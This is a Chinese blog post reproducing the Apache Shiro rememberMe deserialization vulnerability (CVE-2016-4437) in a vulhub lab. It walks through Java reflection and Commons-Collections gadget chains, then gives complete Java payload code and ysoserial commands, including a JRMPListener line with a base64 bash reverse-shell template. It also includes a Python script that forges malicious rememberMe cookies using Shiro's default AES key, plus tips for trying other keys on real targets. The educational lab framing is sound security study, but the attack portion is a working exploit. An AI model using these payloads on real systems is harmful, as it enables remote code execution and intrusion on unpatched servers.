java反序列化——apache-shiro復現分析
阿新 • • 發佈:2020-07-30
本文首發於“合天智匯”公眾號 作者:Fortheone
看了好久的文章才開始分析除錯java的cc鏈,這個鏈算是java反序列化漏洞裡的基礎了。分析除錯的shiro也是直接使用了cc鏈。首先先了解一些java的反射機制。
一、什麼是反射:
反射是Java的特徵之一,是一種間接操作目標物件的機制,核心是JVM在執行的時候才動態載入類,並且對於任意一個類,都能夠知道這個類的所有屬性和方法,呼叫方法/訪問屬性,不需要提前在編譯期知道執行的物件是誰,他允許執行中的Java程式獲取類的資訊,並且可以操作類或物件內部屬性。程式中物件的型別一般都是在編譯期就確定下來的,而當我們的程式在執行時,可能需要動態的載入一些類,這些類因為之前用不到,所以沒有載入到jvm,這時,使用Java反射機制可以在執行期動態的建立物件並呼叫其屬性,它是在執行時根據需要才載入。
我們可以在java載入了類進入jvm之後,獲取到這個類的例項,並且可以呼叫這個類的方法,引數之類的。
看一個例子
在主方法中實現這些反射呼叫方法,要丟擲以上三個錯誤,否則會無法執行。 所以一個反射的流程就是:先通過getClass獲取到類例項,再通過getMethod獲取到類方法,然後再利用invoke方法傳入引數進行呼叫。但是,在這個例子中所呼叫的方法都是public屬性,而在一些類中可能會存在protected或是provide屬性,需要用到setAccessible(true)這種方法來解除私有限定。
java序列化與反序列化
Java 序列化是指把 Java 物件轉換為位元組序列的過程便於儲存在記憶體、檔案、資料庫中,ObjectOutputStream類的 writeObject() 方法可以實現序列化。Java 反序列化是指把位元組序列恢復為 Java 物件的過程,ObjectInputStream 類的 readObject() 方法用於反序列化。 序列化與反序列化是讓 Java 物件脫離 Java 執行環境的一種手段,可以有效的實現多平臺之間的通訊、物件持久化儲存。 要注意的是,只有實現了serializeable介面的類才可以進行序列化操作。
這是一個序列化與反序列化的演示,其中的 FileOutputStream ObjectOutputStream 是java的流處理的轉換。首先建立一個檔案輸出流,然後再使用過濾流來處理,可以提供緩衝寫的作用。具體可以參見文章( https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html)
那麼在序列化與反序列化的過程中,會有一個問題,就是在反序列化的時候會自動執行類的readObject方法。如果我們在readObject中有惡意的操作,即可造成攻擊。如下圖:
三、Apache-CommonsCollections 序列化RCE漏洞分析
環境準備:首先安裝idea,然後安裝maven外掛,使用maven直接安裝 CommonsCollections。在pom.xml中加入
class User{ private String name; private int age; @Override public String toString(){ return "User{" + "name=" +name + ", age="+age+"}"; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
現在定義了一個類User,這個類有各種的方法和引數。我們將這個類例項化之後,再動態呼叫它的方法來給它賦值。
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class clz = user.getClass(); Method method = clz.getMethod("setName", String.class); Method method1 = clz.getMethod("setAge", int.class); method1.invoke(user,21); method.invoke(user,"fortheone"); System.out.println(user); }
import java.io.*; public class test1 { public static void main(String[] args){ User user = new User("fortheone", 21); try { // 建立一個FIleOutputStream FileOutputStream fos = new FileOutputStream("./user.ser"); // 將這個FIleOutputStream封裝到ObjectOutputStream中 ObjectOutputStream os = new ObjectOutputStream(fos); // 呼叫writeObject方法,序列化物件到檔案user.ser中 os.writeObject(user); System.out.println("讀取資料:"); // 建立一個FIleInutputStream FileInputStream fis = new FileInputStream("./user.ser"); // 將FileInputStream封裝到ObjectInputStream中 ObjectInputStream oi = new ObjectInputStream(fis); // 呼叫readObject從user.ser中反序列化出物件,還需要進行一下型別轉換,預設是Object型別 User user1 = (User)oi.readObject(); user1.info(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } class User implements Serializable{ private String name; private int age; public User(String name, int age) { this.name = name; this.age = age; } public void info(){ System.out.println("Name: "+name+", Age: "+age); } // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{ // System.out.println("[*]執行了自定義的readObject函式"); // } }
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>即可安裝。安裝好以後記得要把專案jdk版本與本地jdk版本對應。參考文章( https://blog.csdn.net/qq_22076345/article/details/82392236) 出現了CommonsCollections的包就說明成功了。 漏洞分析: 在InvokeTransformer類中有這兩個方法 構造方法中可以傳入三個引數,方法名,引數型別,引數。然後transform方法接收一個object物件。會對傳入的物件進行反射呼叫方法。但是這樣還不能執行命令,因為在java中執行命令的操作是 Runtime.getRuntime().exec(cmd)。而在這裡我們一次只能傳入一個方法。 但是很巧的是 ChainedTransformer 這個類中的 transform方法可以迴圈執行 transform方法。並且將上一次執行的結果作為下一次的引數。 這樣說可能不是很清楚,舉個例子來看看。 這裡要求在chainedTransformer的transform方法中傳入一個Runtime物件。但是這樣我們沒有利用到反序列化,在實際情況裡也不可能給我們這樣傳參去呼叫。 從上面的步驟可以看到,整個鏈的起點就是 Runtime ,而我們在利用這條鏈的時候也沒有辦法通過傳參去傳入這個Runtime。 但是恰巧有這麼一個類 ConstantTransformer 它的構造方法是直接放回傳入的引數,它的transform方法也是直接返回傳入的引數。那麼也就是說 把Runtime.class 傳入 ConstantTransformer 作為 transformers陣列的起點,通過第一次transform方法,就可以得到Runtime。後面再利用迴圈呼叫transform就可以通過反射命令執行。 這樣就可以通過迴圈呼叫transform方法來執行命令。現在漏洞觸發的核心已經瞭解清楚了,接下來就是找觸發漏洞的利用鏈。也就是如何觸發chainedTransformer的transform方法呢? 接下來有兩條鏈,一條受限於jdk版本(jdk1.7可以,8不行) LazyMap鏈 在lazymap的get方法中執行了transform方法。所以只要將factory賦值為chainedTransformer。可以直接在構造方法裡賦值。 所以要找到一個類可以觸發LazyMap的get方法。 而在TiedMapEntry類中有一個getValue方法可以執行get方法,且map屬性可控。 且TiedMapEntry類中的tostring方法可以觸發getValue方法,java的tostring方法與php的__tostring方法一樣,在類例項被當作字串的時候會自動執行。 .png) 然後又找到 BadAttributeValueExpException 的readObject方法會觸發tostring方法 所以只要把val屬性設定為 TiedMapEntry 即可。最終payload:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Constructor; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; import java.io.*; public class test { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value","asdf"); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); // 將lazyMap封裝到TiedMapEntry中 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val"); // 通過反射給badAttributeValueExpException的val屬性賦值 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close(); // 本地模擬反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }TransformedMap利用鏈 Map類是儲存鍵值對的資料結構。 Apache Commons Collections中實現了TransformedMap ,該類可以在一個元素被新增/刪除/或是被修改時(即key或value:集合中的資料儲存形式即是一個索引對應一個值,就像身份證與人的關係那樣),會呼叫transform方法自動進行特定的修飾變換,具體的變換邏輯由Transformer類定義。也就是說,TransformedMap類中的資料發生改變時,可以自動對進行一些特殊的變換,比如在資料被修改時,把它改回來; 或者在資料改變時,進行一些我們提前設定好的操作。 其中的checkSetValue方法中,valueTransformer屬性呼叫了transform方法。所以只要將valueTransformer屬性設定為我們之前的chainedTransformer即可觸發漏洞。 呼叫decorate方法可以例項化一個 TransformedMap 類,然後將其屬性 keyTransformer和valueTransformer設定為我們想要的值。所以現在就是要再找一個觸發checkSetValue方法的類。 在AnnotationInvocationHandler類中的readObject 中執行了setValue方法。而 setValue() 函式最終會觸發 checkSetValue() 函式: 而memberValues來自於構造方法,所以最終的payload為:
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class test { public static void main(String[] args) throws Exception { //1.客戶端構建攻擊程式碼 //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //將transformers陣列存入ChaniedTransformer這個繼承類 Transformer transformerChain = new ChainedTransformer(transformers); //建立Map並繫結transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //給予map資料轉化鏈 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //反射機制呼叫AnnotationInvocationHandler類的建構函式 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消建構函式修飾符限制 ctor.setAccessible(true); //獲取AnnotationInvocationHandler類例項 Object instance = ctor.newInstance(Retention.class, outerMap); //payload序列化寫入檔案,模擬網路傳輸 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(instance); //2.服務端讀取檔案,反序列化,模擬網路傳輸 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); //服務端反序列化 fin.readObject(); } }
利用Ysoserial 生成payload
下載Ysoserial 然後執行 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe > payload.bin 然後把payload.bin放入專案中,對其進行反序列化 漏洞環境搭建 https://vulhub.org/#/environments/shiro/CVE-2016-4437/ 直接使用docker搭建vulhub裡的shiro靶場就可以了。 啟動後 登入抓包 可以在響應包中看到有 rememberMe=deleteMe的欄位,這是shiro的特徵。 漏洞驗證 1、直接使用xray給出的payload測試 在xray的config.yaml中修改proxy為burp的監聽埠,這樣可以獲取到xray發出的流量。 這裡可以抓到xray發出的請求包中的payload,其中的header中還帶有Testecho,用以測試回顯。可以看到響應頭中出現了Testecho字樣。所以判斷出存在漏洞。 然後再將Testecho替換為 Testcmd 即可執行命令。 但是我這臺機器在執行ifconfig命令的時候不知道為什麼無法執行。 2、使用ysoserial反序列化發payload 首先要下載 ysoserial的jar包 https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar 然後下載 ysoserial的原始碼 https://github.com/frohoff/ysoserial.git java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "bash -c {echo,反彈shell的base64編碼}|{base64,-d}|{bash,-i}" 在7878埠監聽JRMP,等待服務端訪問。 然後使用poc.py生成payload的cookie iimport sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())python poc.py 監聽伺服器ip:埠 生成了payload之後,向伺服器傳送payload的cookie 成功獲取到shell。 一些要注意的點 1、在生成payload的時候,使用的key一般是shiro1.2.4預設的key,在實際環境下可能會有其他的key。xray中自帶了幾個其他的key值用於遍歷。 2、實際情況中預設shiro的commons-collections版本為3.2.1 而ysoserial裡使用3.2.1的版本時會報錯,但是可以使用JRMP。可以多嘗試幾個 commons-collections的版本。具體還要看環境中的依賴包。 參考文章 https://www.anquanke.com/post/id/211228
- 實驗推薦